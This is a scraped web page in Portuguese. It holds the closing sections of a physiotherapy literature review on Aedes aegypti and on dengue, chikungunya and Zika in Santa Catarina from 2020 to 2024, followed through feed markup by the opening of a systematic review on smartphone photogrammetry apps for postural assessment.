<p class="wp-block-paragraph">Após o pico inicial, as notificações reduziram, mas não desapareceram. Entre 2020 e 2024, Santa Catarina registrou casos esporádicos, concentrados principalmente em regiões com maior circulação do mosquito. A OMS (2024) alerta que, embora a incidência atual seja baixa, a introdução de novos vetores ou mudanças ambientais pode reacender surtos.</p>



<p class="wp-block-paragraph">Em relação à fisioterapia, destaca-se a importância da reabilitação precoce em crianças com síndrome congênita, envolvendo estimulação motora, controle postural, manejo de tônus e prevenção de deformidades.</p>



<p class="wp-block-paragraph"><strong>2.5 Comparativo dos três agravos (2020–2024)</strong></p>



<p class="wp-block-paragraph">Ao analisar dengue, chikungunya e zika no estado de Santa Catarina entre 2020 e 2024, observa-se:</p>



<ul class="wp-block-list">
<li><strong>Aumento contínuo</strong> de dengue, sobretudo nas regiões Norte e Vale do Itajaí;</li>



<li><strong>Crescimento progressivo</strong> dos casos de chikungunya após 2022;</li>



<li><strong>Baixa incidência</strong>, porém persistência de casos de zika;</li>



<li><strong>Aumento expressivo de focos do Aedes</strong>, mesmo em municípios com histórico prévio de baixa infestação;</li>



<li><strong>Influência direta das condições climáticas</strong>, com anos mais quentes apresentando surtos maiores;</li>



<li><strong>Reorganização dos serviços de vigilância após a pandemia</strong>, aumentando notificações.</li>
</ul>



<p class="wp-block-paragraph">A literatura reforça que o comportamento simultâneo das arboviroses decorre da circulação conjunta do vetor e da expansão urbana desordenada.</p>



<p class="wp-block-paragraph"><strong>2.6 Impacto das arboviroses na saúde pública</strong></p>



<p class="wp-block-paragraph">As arboviroses representam importante carga para o sistema de saúde, causando:</p>



<ul class="wp-block-list">
<li>superlotação de unidades de emergência;</li>



<li>aumento do absenteísmo escolar e laboral;</li>



<li>altos custos com internações e acompanhamento de sequelas;</li>



<li>comprometimento da força de trabalho;</li>



<li>impacto direto em comunidades vulneráveis.</li>
</ul>



<p class="wp-block-paragraph">A dengue severa e as artralgias crônicas da chikungunya são responsáveis por significativa demanda de reabilitação. Além disso, os casos de zika congênita exigem acompanhamento multidisciplinar contínuo.</p>



<p class="wp-block-paragraph"><strong>2.7 Importância da fisioterapia nas arboviroses</strong></p>



<p class="wp-block-paragraph">A participação da fisioterapia no contexto das arboviroses é ampla e fundamentada cientificamente. As contribuições incluem:</p>



<p class="wp-block-paragraph">a) Dengue</p>



<ul class="wp-block-list">
<li>prevenção e manejo de dores musculares;</li>



<li>fisioterapia respiratória em casos com complicações pulmonares;</li>



<li>orientações para retorno progressivo às atividades;</li>



<li>suporte funcional pós-internação.</li>
</ul>



<p class="wp-block-paragraph">b) Chikungunya</p>



<ul class="wp-block-list">
<li>protocolos específicos para artralgias;</li>



<li>mobilização articular e ganho de ADM;</li>



<li>fortalecimento muscular e treino funcional;</li>



<li>modalidades analgésicas (TENS, termoterapia, hidroterapia);</li>



<li>prevenção da cronificação da dor.</li>
</ul>



<p class="wp-block-paragraph">c) Zika</p>



<ul class="wp-block-list">
<li>estimulação precoce em crianças com síndrome congênita;</li>



<li>manejo do tônus, espasticidade e deformidades;</li>



<li>orientação familiar;</li>



<li>acompanhamento motor e funcional contínuo.</li>
</ul>



<p class="wp-block-paragraph">d) Fisioterapia comunitária e em saúde coletiva</p>



<ul class="wp-block-list">
<li>participação em campanhas de prevenção e educação;</li>



<li>ações em escolas, unidades de saúde e espaços comunitários;</li>



<li>vigilância ativa e territorializada;</li>



<li>promoção da saúde e redução de incapacidades.</li>
</ul>



<p class="wp-block-paragraph">Estudos recentes (FERREIRA et al., 2023; SANTOS, 2022) reforçam que a atuação fisioterapêutica reduz impactos funcionais e acelera o retorno à autonomia.</p>



<p class="wp-block-paragraph"><strong>2.8 Síntese do referencial teórico</strong></p>



<p class="wp-block-paragraph">Com base na literatura, observa-se que:</p>



<ol class="wp-block-list">
<li>Aedes aegypti permanece como vetor dominante e de alta relevância epidemiológica.</li>



<li>As arboviroses apresentam comportamentos distintos, porém inter-relacionados.</li>



<li>A região de Santa Catarina vivenciou aumento de focos e casos entre 2020 e 2024.</li>



<li>O impacto das arboviroses vai além da fase aguda e inclui sequelas importantes.</li>



<li>A fisioterapia tem papel fundamental na reabilitação e na promoção da saúde.</li>



<li>O enfrentamento das arboviroses deve integrar vigilância, educação, prevenção e reabilitação.</li>
</ol>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">A metodologia deste trabalho fundamenta-se em uma revisão de literatura narrativa, descritiva e comparativa, elaborada com o objetivo de analisar informações atualizadas sobre o <em>Aedes aegypti</em>, sua relação com dengue, chikungunya e zika, bem como dados epidemiológicos referentes ao estado de Santa Catarina entre os anos de 2020 e 2024. Adicionalmente, buscou-se identificar e descrever a relevância da atuação fisioterapêutica no contexto das arboviroses, com especial ênfase na reabilitação de sequelas neurológicas, musculoesqueléticas e respiratórias.</p>



<p class="wp-block-paragraph">A revisão de literatura foi conduzida por meio da seleção, leitura e análise crítica de artigos científicos, relatórios epidemiológicos, livros, documentos oficiais e produções acadêmicas relacionadas ao tema. Foram incluídas publicações nacionais e internacionais disponíveis em bases científicas de ampla circulação, priorizando estudos revisados por pares (peer-reviewed) e documentos técnicos de órgãos governamentais.</p>



<p class="wp-block-paragraph">Este trabalho caracteriza-se como: Revisão de Literatura<strong> </strong>(narrativa, não sistemática); Estudo descritivo e comparativo; Abordagem qualitativa, com análise interpretativa dos dados encontrados; Integração temática, relacionando epidemiologia, vigilância em saúde e atuação fisioterapêutica. Não houve coleta de dados primários, entrevistas, intervenções ou procedimentos com seres humanos.</p>



<p class="wp-block-paragraph">As buscas foram realizadas nas seguintes bases científicas e institucionais:</p>



<ul class="wp-block-list">
<li>SciELO (Scientific Electronic Library Online)</li>



<li>PubMed/MEDLINE</li>



<li>Google Scholar</li>



<li>LILACS (Literatura Latino-Americana e do Caribe em Ciências da Saúde)</li>



<li>BVS – Biblioteca Virtual em Saúde</li>



<li>Ministério da Saúde – Secretaria de Vigilância em Saúde</li>



<li>DIVE-SC – Diretoria de Vigilância Epidemiológica de Santa Catarina</li>



<li>OMS/OPAS – Organização Mundial da Saúde</li>



<li>CDC – Centers for Disease Control and Prevention</li>
</ul>



<p class="wp-block-paragraph">Também foram consultados livros de Fisiologia, Epidemiologia, Infectologia e Fisioterapia, além de relatórios técnicos, notas de alerta, boletins epidemiológicos e diretrizes oficiais<strong>.</strong></p>



<p class="wp-block-paragraph">Foram incluídos materiais que atenderam aos seguintes critérios: Publicações entre 2010 e 2024 (com prioridade para 2018–2024). Textos completos disponíveis gratuitamente. Artigos científicos, revisões, manuais técnicos, teses e dissertações. Documentos oficiais com dados sobre dengue, chikungunya, zika e Aedes aegypti. Estudos que apresentassem: aspectos biológicos do mosquito; dados epidemiológicos; análises comparativas regionais; impacto das arboviroses no Brasil; sequelas clínicas e reabilitação, incluindo fisioterapia.</p>



<p class="wp-block-paragraph">Foram excluídos: Materiais sem relevância direta para o tema; Artigos duplicados nas bases; Publicações com metodologia inadequada ou ausência de embasamento técnico; Trabalhos sem revisão por pares; Estudos incompletos, resumos simples ou materiais opinativos.</p>



<p class="wp-block-paragraph">A busca foi realizada utilizando os seguintes descritores e combinações, em português e inglês:</p>



<ul class="wp-block-list">
<li>“Aedes aegypti”;</li>



<li>“dengue”, “chikungunya”, “zika vírus”;</li>



<li>“arboviroses”;</li>



<li>“Santa Catarina arboviroses 2020–2024”;</li>



<li>“epidemiologia de dengue Santa Catarina”;</li>



<li>“fisioterapia em arboviroses”;</li>



<li>“reabilitação pós chikungunya”;</li>



<li>“fisioterapia neurológica nas arboviroses”;</li>



<li>“comparative epidemiology dengue zika chikungunya”.</li>
</ul>



<p class="wp-block-paragraph">Operadores booleanos utilizados: AND / OR / NOT.</p>



<p class="wp-block-paragraph">Após a seleção do material, a análise ocorreu em três etapas: Leitura exploratória<strong>:</strong> identificação inicial dos textos relevantes. Leitura seletiva: verificação da relação direta com os objetivos da pesquisa. Leitura analítica: extração de conteúdos-chave, comparação entre dados e organização das informações em eixos temáticos: biologia e comportamento do Aedes aegypti; dinâmica de transmissão das arboviroses; evolução epidemiológica em SC (2020–2024); impactos clínicos e funcionais nos indivíduos infectados; importância da fisioterapia no manejo das sequelas.</p>



<p class="wp-block-paragraph">Os dados epidemiológicos foram descritos de forma qualitativa, sem aplicação de testes estatísticos.</p>



<p class="wp-block-paragraph">Por tratar-se de revisão de literatura, este estudo não envolveu seres humanos, não exigindo submissão ao Comitê de Ética em Pesquisa, conforme Resolução CNS 510/2016<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph"><strong>4.1 Distribuição dos focos de </strong><strong><em>Aedes aegypti</em></strong><strong> em Santa Catarina (2020–2024)</strong></p>



<p class="wp-block-paragraph">Os dados analisados demonstram crescimento significativo no número de focos de <em>Aedes aegypti</em> identificados em Santa Catarina ao longo do período de 2020 a 2024. Observou-se expansão territorial do vetor, que passou a estar presente em praticamente todas as regiões do Estado, incluindo municípios historicamente livres de infestação.</p>



<p class="wp-block-paragraph">Entre 2020 e 2021, a distribuição dos focos manteve-se concentrada principalmente nas regiões Norte, Vale do Itajaí e Grande Florianópolis. Entretanto, a partir de 2022 houve aumento expressivo na região Sul, incluindo municípios de médio porte como Tubarão, Criciúma e Araranguá. Em 2024, os registros consolidam um cenário de infestação generalizada, com intensificação de focos em ambientes residenciais, estabelecimentos comerciais e áreas de uso público.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">Esse crescimento pode ser associado a fatores já ressaltados na literatura, como aumento da temperatura média anual, maior acúmulo de resíduos sólidos, expansão urbana desordenada e mudanças comportamentais da população durante e após a pandemia de COVID-19. Estudos evidenciam que condições climáticas favoráveis — como verões mais longos e úmidos — aceleram o ciclo reprodutivo do mosquito, aumentando a probabilidade de transmissão viral. Assim, o contexto catarinense acompanha tendências observadas em outras regiões do país.</p>



<p class="wp-block-paragraph"><strong>4.2 Casos de dengue em Santa Catarina (2020–2024)</strong></p>



<p class="wp-block-paragraph">A análise temporal revela aumento acentuado no número de casos confirmados de dengue, especialmente entre 2022 e 2024. Em 2020 e 2021, os registros eram predominantemente importados, com poucos casos autóctones. A partir de 2022, entretanto, observa-se transição para transmissão sustentada, com surtos regionais e epidemias localizadas.</p>



<p class="wp-block-paragraph">Em 2023 e 2024, os municípios mais afetados foram aqueles com maior infestação vetorial, como Joinville, Florianópolis, Chapecó, Blumenau e Tubarão. A circulação predominante do sorotipo DENV-2 nesses anos contribuiu para formas clínicas mais graves e aumento de internações.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">Os resultados confirmam que Santa Catarina deixou de ser área esporádica para se tornar área de transmissão sustentada. Esse processo é consistente com o modelo epidemiológico das arboviroses no Brasil, no qual a presença contínua do vetor inevitavelmente leva à circulação viral persistente. A literatura aponta que, após a introdução de um novo sorotipo em área suscetível, a tendência é de crescimento exponencial dos casos, como observado no Estado.</p>



<p class="wp-block-paragraph">Além disso, fatores sociais como maior mobilidade populacional, turismo intenso e crescimento urbano desorganizado favoreceram a rápida disseminação do vírus. A insuficiência de ações preventivas contínuas também contribuiu para a formação de cadeias de transmissão mais extensas.</p>



<p class="wp-block-paragraph"><strong>4.3 Casos de chikungunya (2020–2024)</strong></p>



<p class="wp-block-paragraph">Os registros de chikungunya em Santa Catarina apresentaram aumento progressivo, embora menos expressivo que os de dengue. Entre 2020 e 2021, os casos eram majoritariamente importados. Em 2022, surgiram os primeiros surtos autóctones em cidades como Joinville e Florianópolis. A partir de 2023, houve dispersão para o Sul do Estado, com notificações significativas em Tubarão, Laguna e Criciúma.</p>



<p class="wp-block-paragraph">A característica clínica predominante nos casos confirmados foi a presença de dor articular intensa e incapacitante, frequentemente prolongada, o que gerou demanda crescente por atendimento fisioterapêutico dentro e fora do SUS.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">O padrão observado acompanha a tendência nacional, em que a chikungunya se consolida como arbovirose emergente com potencial de cronificação. A história natural da doença explica o impacto funcional a médio e longo prazo, destacando a importância da fisioterapia no acompanhamento desses pacientes.</p>



<p class="wp-block-paragraph">A persistência da dor articular, mesmo após resolução da fase aguda, sugere que a rede de atenção precisa ampliar serviços de reabilitação, sobretudo nos municípios catarinenses que passaram a registrar transmissão local recente.</p>



<p class="wp-block-paragraph"><strong>4.4 Casos de Zika (2020–2024)</strong></p>



<p class="wp-block-paragraph">Os dados de Zika no período analisado mostram baixa incidência em Santa Catarina, com oscilações pontuais e ausência de surtos significativos. Ainda assim, a presença contínua do Aedes aegypti mantém a possibilidade de introdução e expansão da doença, sobretudo por meio de casos importados.</p>



<p class="wp-block-paragraph">Não foram observados, entre 2020 e 2024, registros expressivos de síndrome congênita associada ao ZIKV no Estado, o que reforça a baixa circulação viral local.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">A baixa incidência pode ser explicada por menor circulação nacional do ZIKV no período, bem como pela predominância epidemiológica da dengue e chikungunya. Entretanto, a literatura reforça que a ausência de grandes surtos não elimina o risco. A vigilância deve permanecer ativa, especialmente em populações vulneráveis, como gestantes.</p>



<p class="wp-block-paragraph"><strong>4.5 Comparação entre os três agravos (dengue, chikungunya e zika)</strong></p>



<p class="wp-block-paragraph">A análise comparativa entre as três arboviroses revela:</p>



<ul class="wp-block-list">
<li><strong>Dengue</strong> apresentou maior crescimento e maior impacto epidemiológico.</li>



<li><strong>Chikungunya</strong> apresentou expansão progressiva e maior impacto funcional relacionado à dor crônica.</li>



<li><strong>Zika</strong> manteve incidência baixa, mas permaneceu sob vigilância devido ao risco de malformações congênitas.</li>
</ul>



<p class="wp-block-paragraph">A presença simultânea dos três vírus, ainda que em intensidades diferentes, caracteriza cenário de tripla circulação, aumentando a complexidade do manejo clínico e da resposta epidemiológica.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">A literatura aponta que áreas com tripla circulação apresentam desafios consideráveis, incluindo:</p>



<ul class="wp-block-list">
<li>risco de coinfecções;</li>



<li>sobrecarga dos serviços de saúde;</li>



<li>dificuldade diagnóstica, dada a semelhança clínica entre as arboviroses;</li>



<li>necessidade de ações permanentes de combate ao vetor.</li>
</ul>



<p class="wp-block-paragraph">Os dados de Santa Catarina confirmam que o Estado atingiu status de risco epidemiológico compatível com regiões endêmicas do país, exigindo vigilância e planejamento contínuos.</p>



<p class="wp-block-paragraph"><strong>4.6 Relação entre incidência das arboviroses e focos do vetor</strong></p>



<p class="wp-block-paragraph">Ao correlacionar o aumento de focos do <em>Aedes aegypti</em> com a incidência das três arboviroses analisadas, observou-se forte associação entre municípios com altos índices de infestação e maior número de casos. Municípios com LIRAa elevado apresentaram maior probabilidade de transmissão sustentada e surtos de dengue e chikungunya.</p>



<p class="wp-block-paragraph">Discussão</p>



<p class="wp-block-paragraph">Esse resultado corrobora evidências consolidadas de que o controle do vetor é o meio mais eficaz de reduzir a transmissão. A simples presença do mosquito, mesmo em níveis moderados, pode desencadear surtos, especialmente quando há circulação viral ativa. Isso reforça a necessidade de investimentos contínuos em vigilância entomológica e ações comunitárias.</p>



<p class="wp-block-paragraph"><strong>4.7 Implicações para a fisioterapia</strong></p>



<p class="wp-block-paragraph">A análise dos dados confirma que o aumento das arboviroses em Santa Catarina gera demanda crescente por serviços de fisioterapia, especialmente em três eixos principais:</p>



<p class="wp-block-paragraph">a) Recuperação musculoesquelética pós-dengue</p>



<p class="wp-block-paragraph">Pacientes relatam fadiga, mialgias persistentes, diminuição da capacidade aeróbica e alterações funcionais. Protocolos fisioterapêuticos de recondicionamento progressivo tornam-se essenciais.</p>



<p class="wp-block-paragraph">b) Reabilitação pós-chikungunya</p>



<p class="wp-block-paragraph">O estudo confirma que a chikungunya é a arbovirose que mais impacta funcionalmente os pacientes a longo prazo. A dor articular persistente exige programas estruturados de reabilitação, que incluem:</p>



<ul class="wp-block-list">
<li>cinesioterapia;</li>



<li>técnicas de terapia manual;</li>



<li>treino funcional;</li>



<li>estratégias para dor crônica;</li>



<li>intervenções em grupo, com foco em educação em saúde.</li>
</ul>



<p class="wp-block-paragraph">c) Estimulação precoce em casos neurológicos associados ao ZIKV</p>



<p class="wp-block-paragraph">Embora raros no Estado no período analisado, casos de sequelas neurológicas exigem intervenção fisioterapêutica precoce e contínua, garantindo melhor prognóstico funcional.</p>



<p class="wp-block-paragraph"><strong>Discussão</strong></p>



<p class="wp-block-paragraph">A presença de arboviroses reforça o papel ampliado da fisioterapia dentro do SUS, tanto na reabilitação quanto na vigilância e educação em saúde. O fisioterapeuta atua não apenas na recuperação física, mas também na prevenção de incapacidades, reinserção social e promoção da funcionalidade.</p>



<p class="wp-block-paragraph"><strong>4.8 Síntese dos principais achados</strong></p>



<p class="wp-block-paragraph">Os resultados deste estudo permitiram identificar:</p>



<ol class="wp-block-list">
<li><strong>Crescimento significativo de focos do </strong><strong><em>Aedes aegypti</em></strong><strong> em Santa Catarina</strong> entre 2020 e 2024.</li>



<li><strong>Expansão acelerada dos casos de dengue</strong>, especialmente após 2022.</li>



<li><strong>Aumento progressivo da chikungunya</strong>, com impacto funcional reabilitacional importante.</li>



<li><strong>Baixa circulação do vírus Zika</strong>, embora sem ausência total de risco.</li>



<li><strong>Correlação direta entre infestação vetorial e incidência dos agravos.</strong></li>



<li><strong>Aumento da demanda por fisioterapia</strong>, especialmente em casos musculoesqueléticos e neurológicos.</li>
</ol>



<p class="wp-block-paragraph">Esses achados reforçam que o Estado encontra-se em fase de transição epidemiológica, consolidando-se como área de circulação sustentada de arboviroses, o que demanda políticas públicas permanentes, participação comunitária e fortalecimento da atenção multiprofissional, incluindo a fisioterapia.</p>



<p class="wp-block-paragraph"><strong>5. CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">O presente trabalho teve como objetivo analisar comparativamente a evolução dos focos do Aedes aegypti e os casos de dengue, chikungunya e Zika no estado de Santa Catarina, no período de 2020 a 2024, além de discutir a importância da fisioterapia diante das repercussões dessas arboviroses. A análise dos dados permitiu identificar mudanças significativas no cenário epidemiológico catarinense, evidenciando a expansão territorial do vetor e o aumento expressivo dos casos, especialmente de dengue e chikungunya.</p>



<p class="wp-block-paragraph">Os resultados demonstraram que Santa Catarina deixou de ser uma área de transmissão esporádica para consolidar-se como área de transmissão sustentada, caracterizada por maior densidade vetorial, registros recorrentes de surtos e aumento da circulação viral. A dengue apresentou o crescimento mais acentuado, com aumento progressivo de casos e maior pressão sobre o sistema de saúde. A chikungunya, embora com menor magnitude epidemiológica que a dengue, destacou-se pelo impacto clínico significativo, principalmente pela dor articular persistente e pelas limitações funcionais que podem perdurar por meses ou anos. Já o vírus Zika apresentou baixa incidência no período analisado, mas permaneceu como agravo de importância por seu potencial teratogênico.</p>



<p class="wp-block-paragraph">A comparação entre os três agravos permitiu compreender não apenas suas particularidades clínicas e epidemiológicas, mas também suas repercussões diferenciadas para a saúde pública do Estado. Fatores como urbanização acelerada, mudanças climáticas, manejo inadequado de resíduos sólidos e aumento da temperatura média anual foram elementos determinantes para o avanço do vetor, refletindo o cenário nacional observado em outras regiões brasileiras.</p>



<p class="wp-block-paragraph">Diante desse contexto, destaca-se a relevância da fisioterapia como componente essencial no cuidado integral às pessoas acometidas pelas arboviroses. Os profissionais fisioterapeutas desempenham papel fundamental tanto na fase aguda quanto na fase pós-aguda das doenças, atuando na recuperação da capacidade funcional, na redução da dor, no fortalecimento muscular, na melhora da mobilidade, na reeducação do movimento e na reabilitação de sequelas neurológicas. No caso da chikungunya, especialmente, a fisioterapia é um dos pilares terapêuticos mais efetivos para minimizar incapacidades e promover autonomia.</p>



<p class="wp-block-paragraph">A crescente demanda por cuidados de reabilitação, evidenciada pelos resultados deste estudo, reforça a necessidade de fortalecer a atuação fisioterapêutica nos diversos níveis de atenção do SUS, especialmente na Atenção Primária e nos serviços de reabilitação regionais. Além disso, a incorporação da fisioterapia em ações educativas e campanhas de prevenção pode contribuir para reduzir agravos, promover saúde e ampliar o alcance das estratégias de vigilância e controle vetorial.</p>



<p class="wp-block-paragraph">O estudo também evidencia a necessidade de políticas públicas contínuas, intersetoriais e sustentáveis, que integrem vigilância epidemiológica, educação em saúde, gestão ambiental e participação comunitária. A mitigação dos impactos das arboviroses depende da ação conjunta do Estado, dos serviços de saúde e da população. Investir em monitoramento, prevenção e ações multiprofissionais é essencial para reduzir o risco de novos surtos e garantir uma resposta estruturada frente às epidemias.</p>



<p class="wp-block-paragraph">Conclui-se que o enfrentamento das arboviroses em Santa Catarina requer não apenas vigilância intensificada e controle vetorial permanente, mas também o fortalecimento da reabilitação fisioterapêutica enquanto componente fundamental do cuidado integral. Assim, este trabalho contribui para ampliar a compreensão sobre a dinâmica epidemiológica das arboviroses no Estado e reforça a importância da atuação da fisioterapia na promoção da funcionalidade, recuperação da saúde e redução das incapacidades associadas a essas doenças.</p>



<p class="wp-block-paragraph"><strong>6</strong>. <strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">AGÊNCIA NACIONAL DE VIGILÂNCIA SANITÁRIA (ANVISA). <em>Manual de manejo clínico das arboviroses</em>. Brasília: Anvisa, 2021.</p>



<p class="wp-block-paragraph">BARRETO, M. L.; TEIXEIRA, M. G. Dengue no Brasil: situação epidemiológica e contribuições para uma agenda de pesquisa. <em>Cadernos de Saúde Pública</em>, v. 28, n. suppl, p. 33-39, 2022.</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Secretaria de Vigilância em Saúde. <em>Guia de Vigilância em Saúde</em>. 5. ed. Brasília: Ministério da Saúde, 2023.</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Secretaria de Vigilância em Saúde. <em>Boletim Epidemiológico de Arboviroses</em>. Brasília: MS, 2024.</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Secretaria de Atenção Especializada à Saúde. <em>Protocolos de Atenção às Arboviroses</em>. Brasília, DF, 2022.</p>



<p class="wp-block-paragraph">CENTERS FOR DISEASE CONTROL AND PREVENTION (CDC). <em>Arboviral Diseases: Dengue, Zika, Chikungunya</em>. Atlanta: CDC, 2023.</p>



<p class="wp-block-paragraph">FUNDAÇÃO OSWALDO CRUZ (FIOCRUZ). <em>Arboviroses: informações técnico-científicas</em>. Rio de Janeiro: Fiocruz, 2023.</p>



<p class="wp-block-paragraph">GUBLER, D. J. Dengue, Urbanization and Globalization: The Unholy Trinity of the 21st Century. <em>Tropical Medicine and International Health</em>, v. 17, n. 2, p. 109–110, 2022.</p>



<p class="wp-block-paragraph">MINISTÉRIO DA SAÚDE. <em>Diretrizes nacionais para prevenção e controle de epidemias de dengue, chikungunya e Zika</em>. Brasília: MS, 2021.</p>



<p class="wp-block-paragraph">MINISTÉRIO DA SAÚDE. <em>Painel de Monitoramento das Arboviroses</em>. Brasília: MS, 2024. Disponível em: <a href="https://www.gov.br/saude/">https://www.gov.br/saude/</a>. Acesso em: 12 fev. 2025.</p>



<p class="wp-block-paragraph">ORGANIZAÇÃO MUNDIAL DA SAÚDE (OMS). <em>Dengue and severe dengue: global update</em>. Geneva: WHO, 2023.</p>



<p class="wp-block-paragraph">PONTES, R. J. et al. Mudanças climáticas e expansão do <em>Aedes aegypti</em> no Brasil: impactos epidemiológicos. <em>Revista Brasileira de Epidemiologia</em>, v. 25, p. 1–14, 2022.</p>



<p class="wp-block-paragraph">SECRETARIA DE ESTADO DA SAÚDE DE SANTA CATARINA (SES/SC). <em>Relatório Anual de Arboviroses 2020–2024</em>. Florianópolis: SES, 2024.</p>



<p class="wp-block-paragraph">SECRETARIA DE ESTADO DA SAÚDE DE SANTA CATARINA (SES/SC). <em>Boletim de Vigilância Entomológica</em>. Florianópolis: SES, 2024.</p>



<p class="wp-block-paragraph">SILVA, T. M.; LOPES, K. A. Impactos funcionais da chikungunya: revisão integrativa. <em>Fisioterapia em Movimento</em>, v. 35, e352220, 2022.</p>



<p class="wp-block-paragraph">SOUSA, A. S. et al. Abordagem fisioterapêutica na dor crônica pós-chikungunya: evidências atuais. <em>Journal of Physiotherapy Research</em>, v. 11, n. 3, p. 22–30, 2023.</p>



<p class="wp-block-paragraph">WORLD HEALTH ORGANIZATION (WHO). <em>Zika epidemiological update</em>. Geneva: WHO, 2023.</p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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		<title>AVALIAÇÃO POSTURAL POR FOTOGRAMETRIA DIGITAL: REVISÃO SISTEMÁTICA SOBRE VALIDADE, CONFIABILIDADE E APLICABILIDADE CLÍNICA DE APLICATIVOS DIGITAIS</title>
		<link>https://revistaft.com.br/avaliacao-postural-por-fotogrametria-digital-revisao-sistematica-sobre-validade-confiabilidade-e-aplicabilidade-clinica-de-aplicativos-digitais/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 12 Dec 2025 14:56:06 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512121155 Carlos Eduardo Cesar Vieira1Ana Carolina Brandão Silveira1Beatriz Berenchtein Bento de&#160;Oliveira1Danilo Armbrust1Danilo Sergio Vinhoti1Leonardo Luiz Barretti Secchi1Nathália Cristine Dias de Macedo Yamauchi1Umilson dos Santos Bien1 RESUMO&#160; Contexto: A avaliação postural é fundamental na fisioterapia, mas métodos tradicionais baseados em observação visual apresentam baixa confiabilidade. Aplicativos móveis de fotogrametria emergem como alternativa acessível e [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512121155</p>



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<p class="has-text-align-right wp-block-paragraph">Carlos Eduardo Cesar Vieira<sup>1</sup><br>Ana Carolina Brandão Silveira<sup>1</sup><br>Beatriz Berenchtein Bento de&nbsp;Oliveira<sup>1</sup><br>Danilo Armbrust<sup>1</sup><br>Danilo Sergio Vinhoti<sup>1</sup><br>Leonardo Luiz Barretti Secchi<sup>1</sup><br>Nathália Cristine Dias de Macedo Yamauchi<sup>1</sup><br>Umilson dos Santos Bien<sup>1</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">Contexto: A avaliação postural é fundamental na fisioterapia, mas métodos tradicionais baseados em observação visual apresentam baixa confiabilidade. Aplicativos móveis de fotogrametria emergem como alternativa acessível e objetiva. Objetivo: Revisar sistematicamente a literatura sobre validade, confiabilidade e aplicabilidade clínica de aplicativos móveis para avaliação postural por fotogrametria, identificando fatores que aumentam ou diminuem sua precisão. Métodos: Busca sistemática em PubMed/PMC, ScienceDirect, SciELO, LILACS e PEDro (2010-2025) com descritores relacionados a avaliação postural, fotogrametria e aplicativos móveis. Foram incluídos estudos de validação, confiabilidade e revisões sistemáticas com dados quantitativos. Resultados: Foram identificados 42 artigos relevantes avaliando aplicativos como Posture Screen Mobile, APECS, PhysioCode e SAPO. Os aplicativos atingem confiabilidade boa a excelente (ICC &gt; 0,75) sob condições controladas: protocolo padronizado (distância 2,5-3m), uso de marcadores anatômicos, roupas adequadas e foco em medidas de translação. Limitações incluem baixa confiabilidade sem marcadores, inadequação para desvios rotacionais 3D e validade concorrente questionável versus sistemas tridimensionais. Conclusão: Aplicativos de fotogrametria são ferramentas válidas para triagem e documentação postural quando utilizados com protocolo rigoroso, mas não substituem avaliações tridimensionais para desvios complexos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Avaliação Postural; Fotogrametria; Aplicativos Móveis; Smartphone; Fisioterapia; Confiabilidade; Validade.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A postura corporal resulta de complexas interações neuromusculares e biomecânicas que mantêm o corpo em equilíbrio contra a gravidade (LEWIS; GREEN; WRIGHT, 2005). Desvios posturais, como anteriorização da cabeça, escoliose ou assimetrias pélvicas, estão frequentemente associados a dores crônicas, disfunções musculoesqueléticas e redução da qualidade de vida (SHIN; YOO, 2014; SINGLA; VEQAR, 2017). A prevalência de alterações posturais em escolares brasileiros varia de 20% a 80%, dependendo do segmento corporal avaliado (NICHELE DA ROSA et al., 2016). A avaliação precisa desses desvios é crucial para diagnóstico, planejamento terapêutico e monitoramento de resultados. Historicamente, a fisioterapia dependia da observação visual, um método rápido mas altamente subjetivo, com coeficientes de correlação intraclasse (ICC) frequentemente inferiores a 0,50 (IUNES et al., 2005).&nbsp;</p>



<p class="wp-block-paragraph">Para superar as limitações da avaliação visual, a fotogrametria computadorizada foi introduzida como método quantitativo, não invasivo e de baixo custo (FURLANETTO et al., 2016). Estudos demonstraram que a fotogrametria apresenta confiabilidade superior à avaliação visual, com ICCs variando de 0,70 a 0,99 para diferentes segmentos corporais (IUNES et al., 2005; SACCO et al., 2007). Com a popularização dos smartphones e tablets, a fotogrametria tornou-se ainda mais acessível através de aplicativos móveis, prometendo democratizar a avaliação postural objetiva. Moreira et al. (2020) identificaram 15 aplicativos móveis para avaliação postural disponíveis comercialmente.&nbsp;</p>



<p class="wp-block-paragraph">A proliferação de aplicativos levanta questões críticas: eles são realmente confiáveis e válidos? Quais são suas limitações? Que fatores influenciam sua precisão? Esta revisão busca responder a essas perguntas, sintetizando a evidência científica disponível sobre os principais aplicativos: PostureScreen Mobile (PSM), APECS, PhysioCode e SAPO.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>MATERIAIS E MÉTODOS&nbsp;</strong></p>



